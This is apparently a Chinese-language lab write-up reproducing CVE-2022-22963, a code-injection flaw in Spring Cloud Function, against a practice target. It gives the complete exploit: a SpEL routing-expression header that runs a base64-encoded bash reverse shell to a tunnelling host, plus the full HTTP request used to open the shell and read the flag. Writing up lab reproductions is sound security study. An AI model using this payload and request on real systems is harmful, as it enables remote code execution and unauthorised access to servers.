到2024年8月11日,为期14天的专项国护结束
最近都在忙攻防看1day、nday复现,现在有空了写一下靶场的复现
查一下CNNVD的漏洞信息,可以顺便看下底下的链接PoC、EXP
这里CNNVD给的信息是代码注入,我们可以尝试用漏扫检测是否存在
使用三种工具进行漏洞扫描检测
1号试测工具:SpringExploitGUI_v1.4:失败
2号试测工具: Spring漏洞综合利用工具 by Sxdysq:失败
3号试测工具:Yakit+CVE-2022-22963检测插件:成功
这里可以看到执行了ping命令,外侧端可以收到ICMP包,验证了漏洞存在
但是再执行ls、whoami等命令,响应体并没有相关体现,考虑无回显利用
挂上Natapp内网穿透准备反弹Shell
我们构造的Payload应该为:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
命令:bash -c {echo,Payload}|{base64,-d}|{bash,-i}
Base64编码前的Payload:
bash -i >& /dev/tcp/server.natappfree.cc/35342 0>&1
Base64编码后的Payload:
YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zNTM0MiAwPiYx
最后的Payload形式:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zNTM0MiAwPiYx}|{base64,-d}|{bash,-i}")
使用Netcat开始监听1425端口
发送填充好Payload的请求
POST /functionRouter HTTP/1.1
Host: 39.106.48.123:17966
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zNTM0MiAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 4
123
发送成功,收到正常的响应
反弹Shell连接成功
查看一下flag此题结束